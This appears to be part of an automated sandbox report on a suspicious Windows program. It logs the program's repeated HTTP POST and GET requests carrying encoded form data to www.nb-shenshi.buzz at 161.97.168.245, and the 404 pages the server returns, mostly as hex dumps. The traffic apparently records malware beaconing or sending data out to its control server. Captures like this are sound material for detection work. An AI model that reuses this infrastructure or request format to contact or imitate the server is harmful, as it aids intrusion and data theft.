                                                                                    Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
                                                                                    Dec 5, 2024 18:23:42.528764009 CET1236INData Raw: 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34
                                                                                    Data Ascii: /linearGradient> </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)"
                                                                                    Dec 5, 2024 18:23:42.528778076 CET1236INData Raw: 37 39 20 2d 30 2e 35 39 35 32 33 33 2c 2d 31 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34
                                                                                    Data Ascii: 79 -0.595233,-18.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;str
                                                                                    Dec 5, 2024 18:23:42.529742956 CET1236INData Raw: 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 30 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c
                                                                                    Data Ascii: width="100.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /
                                                                                    Dec 5, 2024 18:23:42.529756069 CET896INData Raw: 38 2e 36 36 36 33 31 20 31 2e 32 34 39 39 32 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32
                                                                                    Data Ascii: 8.66631 1.249922,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000
                                                                                    Dec 5, 2024 18:23:42.530646086 CET1236INData Raw: 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e
                                                                                    Data Ascii: ke-opacity:1;" /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.6665
                                                                                    Dec 5, 2024 18:23:42.530659914 CET1236INData Raw: 30 32 31 2c 31 31 2e 31 31 30 35 32 20 30 2e 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e
                                                                                    Data Ascii: 021,11.11052 0.943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.00342
                                                                                    Dec 5, 2024 18:23:42.530677080 CET448INData Raw: 30 30 30 34 39 20 33 2e 37 31 32 30 30 35 2c 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30
                                                                                    Data Ascii: 00049 3.712005,54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.232
                                                                                    Dec 5, 2024 18:23:42.531657934 CET1236INData Raw: 33 34 2e 34 36 39 31 37 20 35 2e 30 36 36 30 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a
                                                                                    Data Ascii: 34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path
                                                                                    Dec 5, 2024 18:23:42.531671047 CET1236INData Raw: 32 38 39 2c 31 38 2e 34 31 35 35 20 2d 38 2e 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66
                                                                                    Data Ascii: 289,18.4155 -8.45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717"
                                                                                    Dec 5, 2024 18:23:42.648910999 CET1236INData Raw: 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74
                                                                                    Data Ascii: oke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    21192.168.2.1149995161.97.168.245802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:48.459714890 CET740OUTPOST /1mwk/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 201
                                                                                    Host: www.nb-shenshi.buzz
                                                                                    Origin: http://www.nb-shenshi.buzz
                                                                                    Referer: http://www.nb-shenshi.buzz/1mwk/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 58 4e 58 41 77 59 33 70 4d 33 6a 76 4a 56 63 4b 77 30 36 6d 6c 5a 52 4f 2b 69 59 39 4a 4f 35 4e 6a 67 34 70 48 48 6b 4c 68 4b 65 77 45 4d 46 57 56 76 2f 38 6f 45 41 71 70 72 73 35 73 73 48 77 52 4b 58 2b 6c 48 70 2f 43 30 65 65 44 6d 4d 58 2b 6e 6f 6c 67 4b 44 49 4f 64 6f 64 59 55 4e 6b 62 4d 4a 42 51 51 41 52 50 38 7a 49 52 73 41 6c 6f 7a 6e 51 63 68 71 30 77 54 78 67 63 5a 78 34 54 63 36 65 45 48 79 73 32 33 42 71 78 32 78 45 31 63 39 42 56 4a 51 32 2f 51 4d 49 70 57 7a 59 32 4c 47 42 54 77 68 69 50 57 50 6a 4b 45 59 55 61 56 76 4d 32 76 47 4d 74 44 31 79 43 2b 5a 64 42 67 3d 3d
                                                                                    Data Ascii: dTb4=XNXAwY3pM3jvJVcKw06mlZRO+iY9JO5Njg4pHHkLhKewEMFWVv/8oEAqprs5ssHwRKX+lHp/C0eeDmMX+nolgKDIOdodYUNkbMJBQQARP8zIRsAloznQchq0wTxgcZx4Tc6eEHys23Bqx2xE1c9BVJQ2/QMIpWzY2LGBTwhiPWPjKEYUaVvM2vGMtD1yC+ZdBg==
                                                                                    Dec 5, 2024 18:23:49.707118988 CET1236INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:23:49 GMT
                                                                                    Content-Type: text/html; charset=utf-8
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    Vary: Accept-Encoding
                                                                                    ETag: W/"66cd104a-b96"
                                                                                    Content-Encoding: gzip
                                                                                    Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED]
                                                                                    Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb*+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.*lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z|Q&8UjXB]O;g}|5@Ro&i<b)~KmA5n*)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF*&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V|NRkPqcq?mDEN&BFtKGQ/xI %iO|CqCJAtV"|"@(3'!A>0HpL(pHP8G,$Qc
                                                                                    Dec 5, 2024 18:23:49.707181931 CET370INData Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0
                                                                                    Data Ascii: (aL`!I>:8%>!+F3|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    22192.168.2.1149996161.97.168.245802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:51.126473904 CET760OUTPOST /1mwk/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 221
                                                                                    Host: www.nb-shenshi.buzz
                                                                                    Origin: http://www.nb-shenshi.buzz
                                                                                    Referer: http://www.nb-shenshi.buzz/1mwk/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 58 4e 58 41 77 59 33 70 4d 33 6a 76 49 31 73 4b 79 54 6d 6d 6a 35 52 42 31 43 59 39 41 75 35 42 6a 68 45 70 48 44 39 55 68 35 71 77 45 74 31 57 48 61 44 38 70 45 41 71 6e 4c 73 38 78 63 47 38 52 4c 72 41 6c 46 4e 2f 43 77 32 65 44 69 49 58 2b 30 77 6b 69 61 44 64 47 39 6f 66 41 30 4e 6b 62 4d 4a 42 51 51 46 36 50 38 62 49 51 66 59 6c 75 53 6e 54 53 42 71 33 7a 54 78 67 4e 4a 78 38 54 63 37 37 45 46 48 44 32 31 4a 71 78 7a 56 45 30 4e 39 41 66 4a 51 30 67 67 4e 65 68 55 71 56 7a 4b 58 6e 4e 79 74 4c 46 32 48 6b 4c 43 56 4f 4b 32 6d 62 31 38 4f 4f 35 6c 55 43 4c 50 38 55 61 74 43 4b 51 61 76 44 73 50 4e 30 4c 36 36 34 5a 61 31 7a 71 47 55 3d
                                                                                    Data Ascii: dTb4=XNXAwY3pM3jvI1sKyTmmj5RB1CY9Au5BjhEpHD9Uh5qwEt1WHaD8pEAqnLs8xcG8RLrAlFN/Cw2eDiIX+0wkiaDdG9ofA0NkbMJBQQF6P8bIQfYluSnTSBq3zTxgNJx8Tc77EFHD21JqxzVE0N9AfJQ0ggNehUqVzKXnNytLF2HkLCVOK2mb18OO5lUCLP8UatCKQavDsPN0L664Za1zqGU=
                                                                                    Dec 5, 2024 18:23:52.359424114 CET1236INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:23:52 GMT
                                                                                    Content-Type: text/html; charset=utf-8
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    Vary: Accept-Encoding
                                                                                    ETag: W/"66cd104a-b96"
                                                                                    Content-Encoding: gzip
                                                                                    Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED]
                                                                                    Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb*+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.*lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z|Q&8UjXB]O;g}|5@Ro&i<b)~KmA5n*)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF*&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V|NRkPqcq?mDEN&BFtKGQ/xI %iO|CqCJAtV"|"@(3'!A>0HpL(pHP8G,$Qc
                                                                                    Dec 5, 2024 18:23:52.359560966 CET370INData Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0
                                                                                    Data Ascii: (aL`!I>:8%>!+F3|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    23192.168.2.1149997161.97.168.245802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:53.789093018 CET1773OUTPOST /1mwk/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 1233
                                                                                    Host: www.nb-shenshi.buzz
                                                                                    Origin: http://www.nb-shenshi.buzz
                                                                                    Referer: http://www.nb-shenshi.buzz/1mwk/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 58 4e 58 41 77 59 33 70 4d 33 6a 76 49 31 73 4b 79 54 6d 6d 6a 35 52 42 31 43 59 39 41 75 35 42 6a 68 45 70 48 44 39 55 68 35 79 77 45 66 4e 57 56 4e 58 38 75 45 41 71 76 72 73 39 78 63 48 6d 52 4b 44 4d 6c 46 42 56 43 79 2b 65 42 42 41 58 71 56 77 6b 6f 61 44 64 45 39 6f 61 59 55 4e 78 62 4d 59 47 51 51 56 36 50 38 62 49 51 5a 30 6c 74 44 6e 54 51 42 71 30 77 54 78 73 63 5a 78 41 54 63 6a 4e 45 46 54 70 32 42 46 71 77 54 46 45 33 37 4a 41 54 4a 51 79 6a 67 4e 57 68 55 58 56 7a 4b 4c 38 4e 7a 5a 68 46 30 58 6b 49 6b 49 74 51 31 65 2b 69 66 53 61 36 56 6f 68 41 4d 45 78 56 4b 65 73 65 72 37 4e 30 34 4a 53 48 59 2f 64 48 4a 68 79 39 32 7a 75 50 6f 45 70 4e 76 42 78 37 76 59 73 77 38 56 76 61 77 35 32 73 75 6d 68 4d 54 63 52 37 32 50 34 48 54 44 72 48 36 59 63 73 6d 63 2b 56 66 62 4d 33 67 67 74 41 4e 66 48 32 36 63 47 4c 73 31 46 65 75 5a 4e 57 44 6d 37 6e 64 4d 6b 2f 6b 75 6e 64 34 71 6f 79 53 75 44 59 64 5a 78 42 6f 6d 37 68 6e 53 6b 71 77 78 47 55 6a 4f 68 51 65 32 79 48 52 65 30 38 [TRUNCATED]
                                                                                    Data Ascii: dTb4=XNXAwY3pM3jvI1sKyTmmj5RB1CY9Au5BjhEpHD9Uh5ywEfNWVNX8uEAqvrs9xcHmRKDMlFBVCy+eBBAXqVwkoaDdE9oaYUNxbMYGQQV6P8bIQZ0ltDnTQBq0wTxscZxATcjNEFTp2BFqwTFE37JATJQyjgNWhUXVzKL8NzZhF0XkIkItQ1e+ifSa6VohAMExVKeser7N04JSHY/dHJhy92zuPoEpNvBx7vYsw8Vvaw52sumhMTcR72P4HTDrH6Ycsmc+VfbM3ggtANfH26cGLs1FeuZNWDm7ndMk/kund4qoySuDYdZxBom7hnSkqwxGUjOhQe2yHRe08niV8z/M3Tl6+hc2OCFbrc9KhqCXDgGzE98k9KoJXhnCghDsnA0DLsnZLI5AlTspTkMwOmrK8DEA+8Dh3parEtZ2qzZgdPOcm8l+PAE4svKfTjEhnWQYoSLIHNSiPe5f9Iczxs2utgNpnT9Mje1fQz4VdWCEIzyOJtI7ueKxVfDVMeKVOVMZbmU4HWE0T0wJ6wzh/v5NzHX8pARYzP9pDAEqClAJ0XkER0dn8TG+CTYVZzSrc94lFlvMYjGvpNbgioFQ9hxnIRfbmlCKA+F13csi/GSTZfuDHlN/dtFhPNYNFyWBZL1ZASU1kRQ84EJd6/yVAThs7K49B65q84XcQq4xaBiup8uP7MQ7GQcOjZi86HQVnCabLqAXzsJjaP/Q9Y+I2zkAvq+zqxfMMnh2+Uk2a1wuN/6NXzyXJAlcyJVKt5B7wxO7BXO/i7YtowUI5aLku2KjWi4w2pC/bu+SEWVNOxV6UYoUceveLwXhgStJa4cCV/vMyo9WxtRoSgAnlZ2+ISGof6ps2x0iqEUWdlcyOKPYTHa+B+K6kNUgezlTjxK8hLu/c27FLbhF8q2z4qqBQHigtxmCBnWzYDmjr14Pk+8P6lMGjY9nq9RHcuZSCaI3yki6r3xtvnIbsEpExN7hCwbDBiPQVAGmmMaPtBGMX2ccZdjKFWd [TRUNCATED]
                                                                                    Dec 5, 2024 18:23:55.017924070 CET1236INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:23:54 GMT
                                                                                    Content-Type: text/html; charset=utf-8
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    Vary: Accept-Encoding
                                                                                    ETag: W/"66cd104a-b96"
                                                                                    Content-Encoding: gzip
                                                                                    Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED]
                                                                                    Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb*+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.*lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z|Q&8UjXB]O;g}|5@Ro&i<b)~KmA5n*)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF*&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V|NRkPqcq?mDEN&BFtKGQ/xI %iO|CqCJAtV"|"@(3'!A>0HpL(pHP8G,$Qc
                                                                                    Dec 5, 2024 18:23:55.018146992 CET370INData Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0
                                                                                    Data Ascii: (aL`!I>:8%>!+F3|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    24192.168.2.1149998161.97.168.245802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:56.459681988 CET468OUTGET /1mwk/?mZwPH=xrgxJbs&dTb4=aP/gzvnIJweJBGAP5k7MvLtgtyUlB81i7lENLyBMprrjHPxpI72KmSEUutQfwM36acX1gmYQGU/DOh8WpWJorLzdOckpYXp0DuA2Yws6YfmvRtQ2inPSYBo= HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Connection: close
                                                                                    Host: www.nb-shenshi.buzz
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Dec 5, 2024 18:23:57.696247101 CET1236INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:23:57 GMT
                                                                                    Content-Type: text/html; charset=utf-8
                                                                                    Content-Length: 2966
                                                                                    Connection: close
                                                                                    Vary: Accept-Encoding
                                                                                    ETag: "66cd104a-b96"
